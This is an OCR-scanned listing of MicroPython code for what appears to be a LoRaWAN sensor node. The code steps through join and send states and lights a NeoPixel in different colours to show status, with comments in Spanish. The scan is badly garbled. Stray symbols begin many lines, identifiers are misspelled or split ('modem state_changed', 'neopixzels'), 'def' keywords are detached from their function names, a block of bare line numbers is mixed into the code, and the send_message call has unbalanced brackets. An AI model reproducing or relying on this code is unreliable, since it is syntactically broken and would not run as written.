state = modem.get_state()
if state == JOINING:
tasks.when_then(modem state_changed, end join)
elif state JOINED:
green()
tasks.after (10000, start_send)
= elif state == NOT_JOINED:
orange ()

r tasks.after (60000, start_join)
= else:
L raise NotImplementedError ()

Hdef start send():
global count

count += 1

blue ()

modem. send_message (bytes (stx ( i,
L tasks.when_then(modem state_changed, end_send)

1'), False) # message, confirmed

end_send() :
state = modem.get_state()
if state == SENDING:

t tasks.only one_ of (tasks.when then(modem state_changed, end send), tasks.after(60000, assume_sent)) # workaround for AT+DTRX response lines
=] elif state == SENT:
magenta ()
F tasks.after (300000, start_send)
= elif state == RETRY:
red()
tasks.after (300000, start_send)
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104
105
106
107
108
109
110
111

112
113
114
115
116
117
1ls
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141

T
T
T
|

T

T
-
T

elif state == NOT JOINED:

red()

tasks.after (300000, start_ join)
else:

orange ()

raise NotImplementedError ()

assume_sent():
magenta ()
tasks.after (240000, start_send)

from machine import Pin
from neopixel import NeoPixel

gpio27 = Pin(27, Pin.OUT)
neopixels = NeoPixel(gpio27, 1)

def

def

def

yellow(): # Primer estadoe: Se inicia el nodo

neopixels[0] = (20, 20, 0)
neopixels.write ()

green(): # Fl nodo se ha unido a la red correctamente (Joined)

neopixels[0] = (0, 25, 0)
neopixels.write ()

blue () : # Bl nodo estéd enviando el mensaje
neopixels[0] = (0, 0, 25)

neopixels.write ()

magenta(): # E1 mensaje ha sido enviado y espera 5 minutos hasta volver a enviar un mensaje

neopixels[0]1 = (20, 0, 20)
neopixels.write ()

red(): # Se produce un error y el nodo trata de reenviar el mensaje. Tambien se mostraria este color si no

neopixzels[0] = (25, 0, 0)
neopixels.write ()

orange() # Excepcion

neopixels[0] = (255, 165, 0)
neopixels.write ()

tasks.now(start_join)

while tasks.available():

tasks.run()
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